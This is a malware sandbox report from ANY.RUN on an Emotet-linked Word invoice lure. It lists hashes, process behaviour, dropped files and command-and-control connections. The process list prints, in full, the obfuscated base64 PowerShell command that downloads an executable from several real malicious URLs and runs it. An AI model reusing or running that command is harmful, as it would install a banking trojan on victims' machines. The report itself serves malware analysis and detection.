analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

RECHNUNG_0515765066777.doc

Full analysis: https://app.any.run/tasks/6eca2e60-8c3a-4648-be7f-cf1693e05a66
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: February 18, 2019, 13:57:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet
trojan
feodo
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Feb 18 08:21:00 2019, Last Saved Time/Date: Mon Feb 18 08:21:00 2019, Number of Pages: 1, Number of Words: 1, Number of Characters: 9, Security: 0
MD5:

5B4F4276094E6C13636E23B76A4B949B

SHA1:

388F1B11AFB78FAB03D38F521E2F344B78457DB1

SHA256:

24BE5B1684B71886161523D029A0D602BA2B211431723947231B78F39A6BFEAF

SSDEEP:

6144:zG5/BnVfRFJ7KK9aHScdX9znGU431T/e7HJ8biTTCXhcKBMk:z2n9R/lA5dX9znGU2C7p8biaxcKBMk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 540.exe (PID: 3492)
      • 540.exe (PID: 2908)
      • wabmetagen.exe (PID: 3360)
      • wabmetagen.exe (PID: 3984)
      • DB2oZA9mvz1e.exe (PID: 296)
      • DB2oZA9mvz1e.exe (PID: 2840)
      • wabmetagen.exe (PID: 1380)
      • wabmetagen.exe (PID: 184)

    • Downloads executable files from the Internet

      • poWersheLl.exe (PID: 3908)

    • EMOTET was detected

      • wabmetagen.exe (PID: 3984)

    • Emotet process was detected

      • wabmetagen.exe (PID: 3360)
      • wabmetagen.exe (PID: 1380)

    • Connects to CnC server

      • wabmetagen.exe (PID: 3984)

    • Changes the autorun value in the registry

      • wabmetagen.exe (PID: 3984)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • poWersheLl.exe (PID: 3908)
      • 540.exe (PID: 2908)
      • DB2oZA9mvz1e.exe (PID: 2840)
      • wabmetagen.exe (PID: 3984)

    • Creates files in the user directory

      • poWersheLl.exe (PID: 3908)

    • Starts itself from another location

      • 540.exe (PID: 2908)
      • DB2oZA9mvz1e.exe (PID: 2840)

    • Application launched itself

      • 540.exe (PID: 3492)
      • wabmetagen.exe (PID: 3360)
      • wabmetagen.exe (PID: 1380)

    • Connects to unusual port

      • wabmetagen.exe (PID: 3984)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2740)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2740)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:02:18 08:21:00
ModifyDate: 2019:02:18 08:21:00
Pages: 1
Words: 1
Characters: 9
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 9
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
10
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start winword.exe no specs powershell.exe 540.exe no specs 540.exe #EMOTET wabmetagen.exe no specs #EMOTET wabmetagen.exe db2oza9mvz1e.exe no specs db2oza9mvz1e.exe #EMOTET wabmetagen.exe no specs wabmetagen.exe

Process information

PID
CMD
Path
Indicators
Parent process
2740"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Roaming\RECHNUNG_0515765066777.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3908poWersheLl -e JABGADIAXwBfAF8AMgA9ACgAJwB1ADcANgAnACsAJwA4ACcAKwAnADcANgAnACkAOwAkAGgAXwBfAF8ANQA4ADIANAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABWADYAXwBfADUAMAAyAD0AKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AbQAnACsAJwBhAHMAagBpAGQAJwArACcAcwBvAGwAJwArACcAYQByACcAKwAnAC4AbgBsAC8AeABNAFAAbgA2ACcAKwAnAFAANABTAFcAYwBfACcAKwAnAE4AbwByADQAJwArACcAagBqAGoAQgBnACcAKwAnAEAAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwB6AG8AJwArACcAbABvAHQAJwArACcAbwB5ACcAKwAnAGsAbAB1ACcAKwAnAGMAJwArACcAaAA2ADkALgAnACsAJwByAHUALwBiAHoAZABEAEoAJwArACcAaABzAFoAUABAAGgAJwArACcAdAB0AHAAOgAvACcAKwAnAC8AbQAnACsAJwBhAHMAawAnACsAJwAuAHMAJwArACcAdAB1AGQAaQBvAC8ASwB2ACcAKwAnADAAeQB4ACcAKwAnAGsAJwArACcAeQBRACcAKwAnADMANABAAGgAdAB0AHAAJwArACcAOgAvAC8AJwArACcAcwBhAGwAZQBzAHcAbwByAGsALgAnACsAJwBuACcAKwAnAGwALwBIACcAKwAnAGIANAA4AGEAJwArACcASAB5ACcAKwAnADkAVgBuAEEAeQA4AEAAaAAnACsAJwB0AHQAcAA6AC8ALwBjAGwAYQBzAGgAbwBmAGMAJwArACcAbAAnACsAJwBhAG4AJwArACcAcwAnACsAJwBnAGUAJwArACcAbQBzACcAKwAnAC4AJwArACcAbgBsACcAKwAnAC8AdwBlADAAdgAnACsAJwB6AGcAJwArACcAUgAnACsAJwBWAHIAQgBoAHQAXwBuADAAbQBzAGkAWgBYAEoAJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQASgBfAF8AMwA3ADUAXwA1AD0AKAAnAGkAJwArACcANwAzADUAOABfACcAKQA7ACQAdwA2AF8AMwA0ADgAXwA3ACAAPQAgACgAJwA1ADQAJwArACcAMAAnACkAOwAkAGsAMQA2ADcANQBfADIAPQAoACcAVgAnACsAJwA2AF8AOQBfADcAJwApADsAJAByAF8AMwA3ADcAXwA1AF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHcANgBfADMANAA4AF8ANwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGMAMAA3AF8ANQA2AF8AIABpAG4AIAAkAFYANgBfAF8ANQAwADIAKQB7AHQAcgB5AHsAJABoAF8AXwBfADUAOAAyADQALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAYwAwADcAXwA1ADYAXwAsACAAJAByAF8AMwA3ADcAXwA1AF8AKQA7ACQAYwAyAF8AXwAzADkAMwBfAD0AKAAnAEIAOABfADgAJwArACcAXwBfAF8AJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAcgBfADMANwA3AF8ANQBfACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAcgBfADMANwA3AF8ANQBfADsAJABvADcAOQA2ADUANAA5AF8APQAoACcAQQAwAF8AJwArACcAXwAnACsAJwBfADUAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHIANwA3ADQAXwBfADUAMgA9ACgAJwB0ADYAMwAnACsAJwBfADEAMAA5ACcAKQA7AA==C:\Windows\System32\WindowsPowerShell\v1.0\poWersheLl.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3492"C:\Users\admin\540.exe" C:\Users\admin\540.exe—poWersheLl.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2908"C:\Users\admin\540.exe"C:\Users\admin\540.exe
540.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3360"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
540.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3984"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
wabmetagen.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
296"C:\Users\admin\AppData\Local\wabmetagen\DB2oZA9mvz1e.exe"C:\Users\admin\AppData\Local\wabmetagen\DB2oZA9mvz1e.exe—wabmetagen.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS(r) DLL for Win32
Exit code:
0
Version:
13.0.0.047
2840"C:\Users\admin\AppData\Local\wabmetagen\DB2oZA9mvz1e.exe"C:\Users\admin\AppData\Local\wabmetagen\DB2oZA9mvz1e.exe
DB2oZA9mvz1e.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS(r) DLL for Win32
Exit code:
0
Version:
13.0.0.047
1380"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
DB2oZA9mvz1e.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS(r) DLL for Win32
Exit code:
0
Version:
13.0.0.047
184"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
wabmetagen.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS(r) DLL for Win32
Version:
13.0.0.047
Total events
1 806
Read events
1 383
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
2
Text files
2
Unknown types
4

Dropped files

PID
Process
Filename
Type
2740WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRC53A.tmp.cvr —
MD5:—
SHA256:—
3908poWersheLl.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7BP6OSD1QG0D3VRV6XLC.temp —
MD5:—
SHA256:—
2740WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:C309BEE83BC5F28A67D73F66B8EE86A7
SHA256:94E9A3922422E09F95080DB256B7E56E8D762A03C65A86CABF97FF3161913661
2740WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\RECHNUNG_0515765066777.doc.LNKlnk
MD5:6C751433136611FAFC851432F2CF75BB
SHA256:CD8C5CB9F6B76E6ECC707CBC74A31824AF3E41FCD806358790BDED74C56BCE4C
3984wabmetagen.exeC:\Users\admin\AppData\Local\wabmetagen\DB2oZA9mvz1e.exeexecutable
MD5:B551D93C2BDA22C113CD7E840A1ADAD9
SHA256:26B6DE5FB056C5E1D843A7907198ED22668AA2B39A49C336D247C17130119FD0
3908poWersheLl.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
3908poWersheLl.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19d2d7.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
3908poWersheLl.exeC:\Users\admin\540.exeexecutable
MD5:C62AC7A746E9AA4ACE67FF42EF6F2950
SHA256:26F21796BA7B4221DB302B6659D9FF1122907B68A9A5DF1D715E0D1DC7BC6E97
2740WINWORD.EXEC:\Users\admin\AppData\Roaming\~$CHNUNG_0515765066777.docpgc
MD5:CE9834CB9E70FA34B74F98306CC8CA18
SHA256:47792B354FAB748F707A77F0DB569C1BDA846CD4C7662FE9625F4FE277815CC6
2840DB2oZA9mvz1e.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:B551D93C2BDA22C113CD7E840A1ADAD9
SHA256:26B6DE5FB056C5E1D843A7907198ED22668AA2B39A49C336D247C17130119FD0
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
7
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3984
wabmetagen.exe
GET
—
70.184.86.103:8080
http://70.184.86.103:8080/
US
—
—
malicious
3908
poWersheLl.exe
GET
301
185.182.56.155:80
http://masjidsolar.nl/xMPn6P4SWc_Nor4jjjBg
NL
html
251 b
malicious
184
wabmetagen.exe
GET
—
70.184.86.103:8080
http://70.184.86.103:8080/
US
—
—
malicious
3984
wabmetagen.exe
GET
—
63.227.80.10:8080
http://63.227.80.10:8080/
US
—
—
malicious
3984
wabmetagen.exe
GET
—
189.236.235.73:80
http://189.236.235.73/
MX
—
—
malicious
3908
poWersheLl.exe
GET
200
185.182.56.155:80
http://masjidsolar.nl/xMPn6P4SWc_Nor4jjjBg/
NL
executable
361 Kb
malicious
3984
wabmetagen.exe
GET
200
50.245.173.58:80
http://50.245.173.58/
US
binary
106 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3908
poWersheLl.exe
185.182.56.155:80
masjidsolar.nl
Astralus B.V.
NL
malicious
3984
wabmetagen.exe
70.184.86.103:8080
—
Cox Communications Inc.
US
malicious
3984
wabmetagen.exe
63.227.80.10:8080
—
Qwest Communications Company, LLC
US
malicious
3984
wabmetagen.exe
76.113.130.72:8090
—
Comcast Cable Communications, LLC
US
malicious
184
wabmetagen.exe
70.184.86.103:8080
—
Cox Communications Inc.
US
malicious
3984
wabmetagen.exe
189.236.235.73:80
—
Uninet S.A. de C.V.
MX
malicious
3984
wabmetagen.exe
50.245.173.58:80
—
Comcast Cable Communications, LLC
US
malicious

DNS requests

Domain
IP
Reputation
masjidsolar.nl
  • 185.182.56.155
malicious

Threats

PID
Process
Class
Message
3908
poWersheLl.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3908
poWersheLl.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3908
poWersheLl.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3984
wabmetagen.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
3984
wabmetagen.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
3984
wabmetagen.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
3984
wabmetagen.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
4 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
RECHNUNG_0515765066777.doc